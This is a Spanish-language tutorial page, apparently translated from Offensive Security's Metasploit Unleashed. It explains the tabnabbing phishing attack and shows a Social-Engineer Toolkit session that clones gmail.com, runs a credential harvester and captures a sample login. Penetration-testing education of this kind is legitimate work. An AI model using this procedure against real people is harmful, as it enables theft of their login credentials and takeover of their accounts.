Ataque TabNabbing
De www.metasploit-es.com.ar
Metodo de Ataque Tabnabbing
El metodo de ataque tabnabbing se utiliza cuando una victima tiene multiples pestañas del navegador abiertas, cuando el usuario pulsa el enlace, a la victima se le presentara un "Please wait while the page loads" (Por favor espera mientras carga la pagina). Cuando la victima cambia entre pestañas, porque es multitarea, el sitio web detecta que una pestaña nueva esta presente y reescribe la pagina web como un sitio especificado por ti. La victima vuelve a pulsar en la pestaña tras un periodo de tiempo y cree que ha desconectado de su programa de correo o de su aplicacion de negocios e introduce las credenciales. Conforme son insertadas, son cosechadas, y el usuario es redirigido de vuelta al sitio web original.
1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu
Enter your choice (press enter for default): 4
The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
[!] Website Attack Vectors [!]
1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu
Enter number (1-4): 2
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: https://gmail.com
[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]
Press {return} to continue.
[*] Tabnabbing Attack Vector is Enabled...Victim needs to switch tabs.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
A la victima se le presenta una pagina web que le pide que espere mientras se carga.
Cuando la victima cambiar de pestaña, el sitio web se reescribe. La victima con suerte introducira su informacion de acceso y se cosecharan las credenciales.
[*] WE GOT A HIT! Printing the output: PARAM: ltmpl=default PARAM: ltmplcache=2 PARAM: continue=https://mail.google.com/mail/? PARAM: service=mail PARAM: rm=false PARAM: dsh=-9060819085229816070 PARAM: ltmpl=default PARAM: ltmpl=default PARAM: scc=1 PARAM: ss=1 PARAM: timeStmp= PARAM: secTok= PARAM: GALX=00-69E-Tt5g POSSIBLE USERNAME FIELD FOUND: Email=sfdsfsd POSSIBLE PASSWORD FIELD FOUND: Passwd=afds PARAM: rmShown=1 PARAM: signIn=Sign+in PARAM: asts= [*] WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPORT
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999
